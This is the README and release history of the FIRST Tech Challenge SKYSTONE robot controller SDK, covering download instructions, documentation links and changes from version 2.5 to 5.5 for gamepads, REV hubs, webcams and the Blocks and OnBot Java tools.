点赞长江证券郑州大学超市管理系统天安门坦克桌面行驶工况茶马古道金融文本情感
chrisneagu
NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. 